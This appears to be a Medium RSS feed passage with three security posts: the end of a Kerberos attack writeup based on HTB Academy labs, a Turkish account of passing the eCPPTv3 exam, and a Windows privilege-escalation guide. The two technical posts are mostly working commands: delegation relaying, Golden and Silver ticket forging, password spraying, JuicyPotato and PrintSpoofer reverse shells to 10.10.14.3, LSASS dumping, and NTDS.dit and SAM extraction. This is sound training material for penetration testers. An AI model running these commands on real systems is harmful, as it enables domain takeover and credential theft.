This TGS ticket will be sent to the IP address we chose when registering the DNS record, i.e., our attack machine. All we have to do then is extract the TGT and use it.(HTB-Academy)</p><pre>git clone -q https://github.com/dirkjanm/krbrelayx; cd krbrelayx<br>python dnstool.py -u INLANEFREIGHT.LOCAL\\pixis -p p4ssw0rd -r roguecomputer.INLANEFREIGHT.LOCAL -d 10.10.14.2 --action add 10.129.1.207<br>nslookup roguecomputer.inlanefreight.local dc01.inlanefreight.local</pre><pre>python addspn.py -u inlanefreight.local\\pixis -p p4ssw0rd --target-type samname -t sqldev -s CIFS/roguecomputer.inlanefreight.local dc01.inlanefreight.local</pre><p>Any account trying to authenticate via SMB to roguecomputer.inlanefreight.local will have a copy of its TGT in its requested TGS ticket.</p><pre>sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58</pre><p>Leveraging PrinterBug</p><pre>python3 printerbug.py inlanefreight.local/carole.rose:jasmine@10.129.205.35 roguecomputer.inlanefreight.local</pre><pre>python dementor.py -u pixis -p p4ssw0rd -d inlanefreight.local roguecomputer.inlanefreight.local dc01.inlanefreight.local</pre><p>Krbrelayx: performing the attack</p><pre>sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58</pre><pre>export KRB5CCNAME=./DC01\$@INLANEFREIGHT.LOCAL_krbtgt@INLANEFREIGHT.LOCAL.ccache<br>secretsdump.py -k -no-pass dc01.inlanefreight.local</pre><h3>Golden Ticket</h3><p>The Golden Ticket attack enables attackers to forge and sign TGTs (Ticket Granting Tickets) using the krbtgt account&#39;s password hash. When these tickets get presented to an AD server, the information within them will not be checked at all and will be considered valid due to being signed with krbtgt account&#39;s password hash. (HTB Academy)</p><p>All the information about a user is contained in PAC. The PAC is copied into each TGS ticket so that service accounts know who they are dealing with. Therefore, this information must be adequately protected so users cannot arbitrarily change it.</p><p>If an attacker steals krbtgt, then they can decypher any TGT and PAC within it. Thus, the attacker can modify all the information( which group the user belongs to etc.).</p><p>Once full domain compromise is achieved, an attacker can extract the NTLM hash of the krbtgt account using DCSync (or from the NTDS.DIT file using a variety of methods).</p><p>Different elements are needed to forge a Golden Ticket:</p><ol><li>Domain Name</li><li>Domain SID</li><li>Username to Impersonate</li><li>KRBTGT&#39;s hash</li></ol><pre>Import-Module .\PowerView.ps1<br>Get-DomainSID<br>.\mimikatz.exe<br>mimikatz # lsadump::dcsync /user:krbtgt /domain:inlanefreight.local</pre><p>when we get krbtgt hash, we can impersonate Administrator:</p><pre>mimikatz # kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:810d754e118439bab1e1d13216150299 /ptt</pre><p>to check which tickets we have</p><pre>klist<br>#enter DC by using this ticket<br>Enter-PSSession dc01</pre><p>from Linux:</p><pre>lookupsid.py inlanefreight.local/pixis@dc01.inlanefreight.local -domain-sids<br># we can craft a Golden Ticket using ticketer.py.<br>ticketer.py -nthash 810d754e118439bab1e1d13216150299 -domain-sid S-1-5-21-2974783224-3764228556-2640795941 -domain inlanefreight.local Administrator</pre><pre>export KRB5CCNAME=./Administrator.ccache<br>psexec.py -k -no-pass dc01.inlanefreight.local</pre><h3>Silver Ticket</h3><p>When a user make TGS request, the user uses TGT. The KDC or DC will send TGS. The TGS-REP contains TGT and PAC (All the user info, which group she belongs to etc). TGT and PAC is encrypted with secret of service account. If an attacker knows the secret, then the attacker can forge the AP-REQ, since she can decrypt the packet. Therefore, the attacker can modify PAC. For example, I belong to the group domain admins. The forged ticket is called <strong><em>Silver Ticket.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*CxLe4t14oUvCl7LvdJyC2Q.png" /></figure><h4>attack:</h4><pre>Import-Module .\PowerView.ps1<br>Get-DomainSID</pre><p>Let’s say we compromised the SQL01$ account. We have its NTLM hash. We want to craft a TGS ticket to access the SQL01 filesystem. We&#39;ll need a CIFS/SQL01 TGS ticket to do so.</p><pre>mimikatz.exe<br> # kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs  /ptt</pre><p>we can ensure that we have the ticket by using klist.</p><pre>klist<br>dir //sql01.inlanefreight.local/c$</pre><blockquote>Note: We can also create a Sacrificial Process. Let’s create a ticket and save it in sql01.kirbi:<br>mimikatz.exe &quot;kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ticket:sql01.kirbi&quot; exit<br><strong>create a sacrifical process<br></strong>Rubeus.exe createnetonly /program:cmd.exe /show<br><strong>import new ticket into the section</strong><br>Rubeus.exe ptt /ticket:sql01.kirbi<br>PSExec.exe -accepteula \\sql01.inlanefreight.local cmd</blockquote><h4>silver ticket from linux</h4><p>get domain sid</p><pre>lookupsid.py inlanefreight.local/pixis@dc01.inlanefreight.local -domain-sids</pre><p>craft silver ticket using ticketer.py</p><pre>ticketer.py -nthash ff955e93a130f5bb1a6565f32b7dc127 -domain-sid S-1-5-21-2974783224-3764228556-2640795941 -domain inlanefreight.local -spn cifs/sql01.inlanefreight.local Administrator</pre><pre>export KRB5CCNAME=./Administrator.ccache<br>smbclient.py -k -no-pass sql01.inlanefreight.local</pre><p>using psexec</p><pre>export KRB5CCNAME=./Administrator.ccache<br>psexec.py -k -no-pass sql01.inlanefreight.local</pre><h3>Pass the ticket</h3><p>The Pass-the-Ticket (PtT) attack is a method of lateral movement without touching LSASS.</p><p>Pass-the-Ticket takes the user’s Ticket Granting Ticket (TGT) or Ticket Granting Service (TGS) Ticket. The TGT is a signed ticket that contains a list of privilege levels.</p><p>A sacrificial process creates a new Logon Session and passes tickets to that session.</p><p>The Rubeus action <a href="https://github.com/GhostPack/Rubeus#createnetonly">createnetonly</a> creates a sacrifical process, and the future commands will use the /LUID:0xdeadbeef to interact with it.</p><pre>.\Rubeus.exe createnetonly /program:&quot;C:\Windows\System32\cmd.exe&quot; /show</pre><p>we can see all the tickets we can read by using triage option in Rubeus.</p><pre>.\Rubeus.exe triage</pre><p>extract the ticket:</p><pre>.\Rubeus.exe dump /luid:0x89275d /service:krbtgt /nowrap</pre><pre>Rubeus.exe renew /ticket:doIFVjCCBVKgAwIBBaEDA&lt;SNIP&gt; /ptt</pre><h3>Account Enumeration and Password Spraying using Kerberos</h3><h4>username enumeration</h4><p>Bruteforcing Windows usernames and passwords with Kerberos is very fast and potentially stealthier than other methods since pre-authentication failures do not trigger that “traditional” An account failed to log on event 4625. With Kerberos, you can validate a username or test a login by only sending one UDP frame to the KDC (Domain Controller).</p><p>You should find kerbrute binary.</p><pre>mv ~/Downloads/kerbrute_linux_amd64 kerbrute<br>chmod +x ./kerbrute<br>./kerbrute</pre><p>To enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the KDC responds with a PRINCIPAL UNKNOWN error, the username does not exist. However, if the KDC prompts for pre-authentication, we know the username exists and move on. This does not cause logon failures, so it will not lock out any accounts. This generates a Windows event ID 4768 if Kerberos logging is enabled.</p><pre>kerbrute userenum users.txt --dc dc01.inlanefreight.local -d inlanefreight.local</pre><h4>password spraying</h4><pre>kerbrute passwordspray users.txt inlanefreight2020 --dc dc01.inlanefreight.local -d inlanefreight.local</pre><h3>Additional Notes</h3><h4>checking password last set</h4><pre>Get-ADUser krbtgt -Property PasswordLastSet</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c21473d5a378" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eCPPTv3’yi Nasıl Geçtim?]]></title>
            <link>https://hacerdalkiran.medium.com/ecpptyi-nas%C4%B1l-ge%C3%A7tim-94dd11bff055?source=rss-433f8658b251------2</link>
            <guid isPermaLink="false">https://medium.com/p/94dd11bff055</guid>
            <category><![CDATA[ecpptv3]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ecppt]]></category>
            <dc:creator><![CDATA[Hacer Dalkiran]]></dc:creator>
            <pubDate>Tue, 28 Jan 2025 05:56:16 GMT</pubDate>
            <atom:updated>2025-01-28T06:01:11.088Z</atom:updated>
            <content:encoded><![CDATA[<p>ine.com’um verdiği eCPPTv3&#39;ü 24 saatlik süren sınav sonucu geçtim. Sınava hazırlık ve sınav sürecimi bu yazımda paylaşmak istiyorum.</p><p>Sınavdan önce zaten ine ine.com’un verdiği eJPT’ye girmiş ve geçmiştim. eJPT için eğitim ve labları da almıştım. O lablar ve eğitim eCPPTv3 için de faydalı oldu. eCPPTv3, 24 saat süren, 45 soru içeren bir sınav.</p><p>Sınav içeriğinde, temel tarama yöntemlerinden başlayarak, linux, windows host based attacks, Active Directory attacks ve 2–3 soruluk da web yer alıyor. Sınavda dikkat etmeniz gereken şeyleri, kullandığım toolları ve yöntemleri aşağıda özet geçiyorum.</p><ol><li>Port taramada tüm port taramayı unutmayın. Arada default olmayan portlar da var.</li><li>Yapacağınız brute force attacklarda kullanacağınız wordlist genel olarak rockyou değil. Ortamda size verilen toollar ve wordlistler var. Bunları kullanın.</li><li>Bulduğunuz hashleri online bir cracker kullanarak kırmaya çalışın. Crackstation’u kullanabilirsiniz.</li></ol><p><a href="https://crackstation.net/">CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.</a></p><p>Bu toollarda çıkmazsa, localde bulunan özel wordlistleri kullanın.</p><p>4. Web sorularında brute force muhtemelen çalışır. Sonrasında versiyondan zafiyet arayarak bir şeyler bulabilirsiniz.</p><p>5. Ortamda 4 windows makine bulunuyor. Hangilerinin DC olduğunu tespit ettikten sonra bunlardan birinin ana domain diğerinin subdomain DC’si olduğunu göreceksiniz.</p><p>6. Kullanıcı listesini çıkardıktan sonra yine brute force gerekebilir. Brute force için de sınavda size verilen wordlistleri deneyin.</p><p>7. Linux makine biraz kilit bir noktada. Buradan birkaç sorunun cevabı geliyor. Buradaki konfiglere dikkat edin.</p><p>8. shell alınca python tty shell’e geçmeyi unutmayın. Makinede zaten python3 olduğu için işiniz kolay.</p><p>Kullandığım toollara gelince,</p><p>Hackthebox’un crackmapexec modulünden baya bir şey öğrenmişim bunu farkettim. Bir toolu iyi kullanırsan, çok tool kullanmaya gerek kalmıyor.</p><p>crackmapexec ile asrep roastable hesapları bile buldum.</p><p>mimikatz, sharphound, bloodhound, johntheripper kullandım.</p><p>Hashcat sorun çıkarıyordu, düzeltmekle zaman kaybetmedim.</p><p>Linux privesc için tool çalıştırmaya gerek kalmadı, temel yöntemler denenerek çözülüyor.</p><p>Sonuç olarak, sınav teknik açıdan aşırı zor olmayan, genel olarak brute force gerektiren bir sınavdı. Ama Active directory ve web’i içeren genel bir sınav olduğu için tatmin ediciydi.</p><p>v2 14 gün sürdüğü için ben v3&#39;e switch ettim.</p><p>Girme düşünceniz varsa şimdiden başarılar :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94dd11bff055" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Critical Windows User Privileges for Windows Privesc]]></title>
            <link>https://hacerdalkiran.medium.com/critical-windows-user-privileges-for-windows-privesc-55ef12824f90?source=rss-433f8658b251------2</link>
            <guid isPermaLink="false">https://medium.com/p/55ef12824f90</guid>
            <category><![CDATA[windows-privilege-esc]]></category>
            <category><![CDATA[windows-security]]></category>
            <dc:creator><![CDATA[Hacer Dalkiran]]></dc:creator>
            <pubDate>Thu, 14 Nov 2024 09:21:43 GMT</pubDate>
            <atom:updated>2024-11-14T09:21:43.785Z</atom:updated>
            <content:encoded><![CDATA[<p>When you access a windows machine, the next major step will be escalating privilege. It can be done by using Kernel exploits, UAC bypass techniques or exploiting misconfigured windows privileges etc.</p><p>In this writeup, I will explain those privileges that we can exploit. Lets look at the privs by using;</p><pre>whoami /priv</pre><p>NOTE: disabled does’nt mean that we do not have that privilege. Instead, it means that we have that privilege, but it is disabled. Most common exploited privileges are on the following:</p><ul><li>SeImpersonatePrivilege</li><li>SeAssignPrimaryPrivilege</li><li>SeTcbPrivilege</li><li>SeBackupPrivilege</li><li>SeRestorePrivilege</li><li>SeSecurityPrivilege</li><li>SeCreateTokenPrivilege</li><li>SeLoadDriverPrivilege</li><li>SeTakeOwnershipPrivilege</li><li>SeDebugPrivilege</li></ul><h3>SeImpersonatePrivilege</h3><p>The definition is that this policy setting determines which programs are allowed to impersonate a user or another specified account and act on behalf of the user.</p><p>In Windows, every process has a token that has information about the account that is running it. These tokens are not considered secure resources, as they are just locations within memory that could be brute-forced by users that cannot read memory. To utilize the token, the SeImpersonate privilege is needed. It is only given to administrative accounts, and in most cases, can be removed during system hardening.</p><p>Legitimate programs may utilize another process’s token to escalate from Administrator to Local System, which has additional privileges. Processes generally do this by making a call to the WinLogon process to get a SYSTEM token, then executing itself with that token placing it within the SYSTEM space. Attackers often abuse this privilege in the “Potato style” privescs — where a service account can SeImpersonate, but not obtain full SYSTEM level privileges. Essentially, the Potato attack tricks a process running as SYSTEM to connect to their process, which hands over the token to be used.</p><h4>An example: Connect MSSQL</h4><p>We can connect remote mssql server by using mssqlclient.py script belongs to impacket tool.</p><pre>mssqlclient.py sql_dev@10.129.43.30 -windows-auth</pre><p>We can run cmd commands in the mssql ui by using <strong>xp_cmdshell</strong>. First, we need to enable it. Sometimes, we may not have to enable xp_cmdshell. We may escalate to another user that has this privilege.</p><pre>enable_xp_cmdshell<br>xp_cmdshell whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*tlm6_rvjbokh6z5sCxcbRA.png" /></figure><p>We have SeImpersonatePrivilege. We can run potato!</p><p>This privilege can be used to impersonate a privileged account such as NT AUTHORITY\SYSTEM. <a href="https://github.com/ohpe/juicy-potato">JuicyPotato</a> can be used to exploit the SeImpersonate or SeAssignPrimaryToken privileges via DCOM/NTLM reflection abuse.</p><pre>sudo rlwrap nc -lnvp 8443</pre><pre>SQL&gt; xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a &quot;/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe&quot; -t *</pre><p>JuicyPotato doesn’t work on Windows Server 2019 and Windows 10 build 1809 onwards. However, <a href="https://github.com/itm4n/PrintSpoofer">PrintSpoofer</a> and <a href="https://github.com/antonioCoco/RoguePotato">RoguePotato</a> can be used to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access.</p><p><strong>PrintSpoofer</strong></p><p>This tool can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.</p><pre>sudo rlwrap nc -lnvp 8443</pre><pre>SQL&gt; xp_cmdshell c:\tools\PrintSpoofer.exe -c &quot;c:\tools\nc.exe 10.10.14.3 8443 -e cmd&quot;</pre><h3>SeDebugPrivilege</h3><p>To run a particular application or service or assist with troubleshooting, a user might be assigned the <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/debug-programs">SeDebugPrivilege</a> instead of adding the account into the administrators group.</p><pre>whoami /priv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*Fb5InFribq48oSuUKrdqxg.png" /></figure><p>We can use <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procdump">ProcDump</a> from the <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite">SysInternals</a> suite to leverage this privilege and dump process memory. A good candidate is the Local Security Authority Subsystem Service (<a href="https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service">LSASS</a>) process, which stores user credentials after a user logs on to a system.</p><pre>procdump.exe -accepteula -ma lsass.exe lsass.dmp</pre><p>After create the dump, we can use Mimikatz</p><pre>mimikatz.exe</pre><pre>mimikatz # log<br>Using &#39;mimikatz.log&#39; for logfile : OK<br><br>mimikatz # sekurlsa::minidump lsass.dmp<br>Switch to MINIDUMP : &#39;lsass.dmp&#39;<br><br>mimikatz # sekurlsa::logonpasswords<br>Opening : &#39;lsass.dmp&#39; file for minidump...</pre><p>Bingo! We catch the info.</p><p>We can create lsass dump by using task manager. Go to details tab and find lsass process. Right click then click create dump file.</p><h3>SeTakeOwnershipPrivilege</h3><p><a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/take-ownership-of-files-or-other-objects">SeTakeOwnershipPrivilege</a> grants a user the ability to take ownership of any “securable object,” meaning Active Directory objects, NTFS files/folders, printers, registry keys, services, and processes. This privilege assigns <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/standard-access-rights">WRITE_OWNER</a> rights over an object, meaning the user can change the owner within the object’s security descriptor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*1nKH6qFgNSYs-Z9WgpjYtw.png" /></figure><p>With this privilege, a user could take ownership of any file or object and make changes that could involve access to sensitive data, Remote Code Execution (RCE) or Denial-of-Service (DOS).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*yKgTR0RO0JOo20SLwMfEgA.png" /></figure><p>The Privilege is disabled. We can enable by using the script:</p><p><a href="https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1">https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1</a></p><p>This script is explaining in the following blog post:</p><p><a href="https://www.leeholmes.com/adjusting-token-privileges-in-powershell/">Adjusting Token Privileges in PowerShell</a></p><p>Also, you can find a summary in the following writeup:</p><p><a href="https://medium.com/@markmotig/enable-all-token-privileges-a7d21b1a4a77">Enable All Token Privileges</a></p><pre>Import-Module .\Enable-Privilege.ps1<br>.\EnableAllTokenPrivs.ps1<br>whoami /priv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*yj2r0vJGY0EfNGPUpV9E1w.png" /></figure><p>Now we can use the <a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown">takeown</a> Windows binary to change ownership of the file.</p><pre>takeown /f &#39;C:\Users\SQLSA\Desktop\cred.txt&#39;</pre><p>We may still not be able to read the file and need to modify the file ACL using icacls to be able to read it.</p><pre>icacls &#39;C:\Users\SQLSA\cred.txt&#39; /grant Dalkiran:F</pre><p>We can use this misconfiguration to reach the following critical files:</p><blockquote>c:\inetpub\wwwwroot\web.config<br>%WINDIR%\repair\sam<br>%WINDIR%\repair\system<br>%WINDIR%\repair\software, %WINDIR%\repair\security<br>%WINDIR%\system32\config\SecEvent.Evt<br>%WINDIR%\system32\config\default.sav<br>%WINDIR%\system32\config\security.sav<br>%WINDIR%\system32\config\software.sav<br>%WINDIR%\system32\config\system.sav</blockquote><p>We may also come across .kdbx KeePass database files, OneNote notebooks, files such as passwords.*, pass.*, creds.*, scripts, other configuration files, virtual hard drive files, and more that we can target to extract sensitive information from to elevate our privileges and further our access.</p><h3>SeBackupPrivilege</h3><p>After landing on a machine, we can use the command whoami /groups to show our current group memberships. Let&#39;s examine the case where we are a member of the Backup Operators group. Membership of this group grants its members the SeBackup and SeRestore privileges. The <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/privileges">SeBackupPrivilege</a> allows us to traverse any folder and list the folder contents. This will let us copy a file from a folder, even if there is no access control entry (ACE) for us in the folder&#39;s access control list (ACL). However, we can&#39;t do this using the standard copy command. Instead, we need to programmatically copy the data, making sure to specify the <a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea">FILE_FLAG_BACKUP_SEMANTICS</a> flag.</p><p>By using the tool below, enable this privilege.</p><p><a href="https://github.com/giuliano108/SeBackupPrivilege">GitHub - giuliano108/SeBackupPrivilege: Use SE_BACKUP_NAME/SeBackupPrivilege to access objects you shouldn&#39;t have access to</a></p><pre>Import-Module .\SeBackupPrivilegeUtils.dll<br>Import-Module .\SeBackupPrivilegeCmdLets.dll</pre><pre>Copy-FileSeBackupPrivilege Source\file.txt Destination\file.txt</pre><p>Then we can access it. We can use this misconfig by attacking active directory.</p><h4>Attacking a Domain Controller — Copying NTDS.dit</h4><p><strong>NTDS.dit</strong> file contains the NTLM hashes for all user and computer objects in the domain. However, this file is locked and is also not accessible by unprivileged users.</p><p>As the NTDS.dit file is locked by default, we can use the Windows <a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow">diskshadow</a> utility to create a shadow copy of the C drive and expose it as E drive. The NTDS.dit in this shadow copy won&#39;t be in use by the system.</p><pre>diskshadow.exe : create shadow disk<br>Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit</pre><p><strong>Backing up SAM and SYSTEM Registry Hives</strong></p><pre>reg save HKLM\SYSTEM SYSTEM.SAV<br>reg save HKLM\SAM SAM.SAV</pre><p>Lets use them to extract Administrator password.</p><p>With the NTDS.dit extracted, we can use a tool such as secretsdump.py or the PowerShell DSInternals module to extract all Active Directory account credentials.</p><pre>Import-Module .\DSInternals.psd1<br>$key = Get-BootKey -SystemHivePath .\SYSTEM<br>Get-ADDBAccount -DistinguishedName &#39;CN=administrator,CN=users,DC=inlanefreight,DC=local&#39; -DBPath .\ntds.dit -BootKey $key</pre><p>we can use secretdump.py in the impacket tool.</p><pre>secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55ef12824f90" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>